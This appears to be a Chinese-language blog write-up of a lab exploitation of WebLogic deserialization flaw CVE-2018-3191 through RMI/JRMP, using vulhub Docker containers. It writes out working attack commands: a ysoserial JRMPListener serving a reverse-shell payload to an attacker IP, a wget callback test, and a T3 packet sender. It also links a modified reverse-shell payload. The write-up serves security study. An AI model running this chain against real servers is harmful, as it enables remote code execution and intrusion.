RMI反序列化攻击方法记录

0x00前言

本文主要以Weblogic最新的反序列化漏洞CVE-2018-3191为例,介绍基于RMI的反序列化攻击方法。其中涉及到了Java Exec执行命令的相关知识,在这里整理记录下。在搭建Docker漏洞环境时,遇到了Docker for mac容器与宿主机互通的问题,顺带也记录下~

0x01 Docker for mac 容器和宿主机互通

mac环境下的Docker网络环境和Linux不一样,不能直接ping通容器和宿主机。
查了很多文章,最后参考下面2个链接暂时成功~
http://sua7.com/2017/04/29/Docker
https://github.com/mal/docker-for-mac-host-bridge
步骤中有2个注意点:
1. 每次重启docker,都要重复运行install.sh程序,比较繁琐。
2. 启动容器时,需要在docker-compose文件里面设置网络类型为network_mode: "acme"

考虑直接装虚拟机测试Docker了,docker for mac还是不太给力~~

0x01 环境搭建实验

用的是vulhub的Docker环境:https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

0x02 WebLogic反序列化漏洞

先说实验结果:Weblogic 10.3.6.0反弹shell攻击成功,Weblogic 12.2.1.3没有合适的反序列化payload没成功,看是不是有我没get到的利用方法捏~

1. 攻击Weblogic 10.3.6.0步骤记录

  • 生成一个受害机器连接攻击者机器RMI服务的Payload:
    java -jar weblogic-spring-jndi-10.3.6.0.jar rmi://172.18.0.1:6668/Exp > poc_angelwhu_10.3.6.0.txt。使用的Jar包比较大的原因是包含了Weblogic环境使用的lib库~拖进jd-gui看其实代码很短:

  • 再在攻击者服务器上开一个RMI服务,让受害者来连接。

java -cp ysoserial-my-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6668 CommonsCollections1LinuxReverseShell "172.18.0.1,6671"

我使用的是反弹shell载荷,一会儿再介绍我对工具做的小修改。这部分可以看ysoserial的源码理解下原理。
如果在测试的时候发现端口有连接输出信息了,即代表受害机器可以通过反序列化来rmi连接攻击者的服务器,成功了第一步。随后,就可以尝试不同的反序列化payload,来测试可否远程命令执行了~

  • 使用各个payload尝试命令执行

建议先不要一上来就反弹shell,使用wget测试下。
java -cp ysoserial-my-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6668 CommonsCollections1 "wget 172.18.0.1:6669"

尝试后得到的结论:
a. CommonsCollections1,3,5,6都可以成功执行命令。
b. 所有CommonsCollections的Payload都可以成功连接rmi。证明了RMI连接成功与否和payload无关

  • 准备工作做好后,发送T3协议的包攻击受害者服务器

python weblogic.py 172.18.0.3 7001 poc_angelwhu_10.3.6.0.txt
反弹shell成功如图:

2. 攻击Weblogic 12.2.1.3问题记录

  • 没有有效的Payload

所有的CommonsCollections载荷,都可以获取RMI连接,但没有成功执行命令~ 根据报错可以看到:由于安全原因,InvokerTransformer类的反序列化被禁用了。

Caused By: java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

当然如果是Jdk7u21环境,应该可以用JDK自己的Gadget来实现攻击。还有其他的攻击方法不?

3. 反弹shell的问题

ysoserial工具里面,使用的是Runtime.getRuntime().exec(String)这种形式执行命令,限制比较多。这里给出我自己觉得好用的方案,简单地改ysoserial里面的Payload就可以了:

我把修改后的放在github上了,可以供大家参考~

0x03 思考和总结

开始关注这个利用方式是shiro反序列化的问题,强烈建议看看这篇文章:http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html?m=1&from=timeline
给的启发是:用每个payload都试试,再慢慢发掘出命令执行的利用方式~

以Weblogic为例总结下这次的利用方式,时序图如下:

0x04 参考链接

https://github.com/jas502n/CVE-2018-3191
https://github.com/angelwhu/ysoserial-my/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1LinuxReverseShell.java
https://b1ngz.github.io/java-os-command-injection-note/
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html?m=1&from=timeline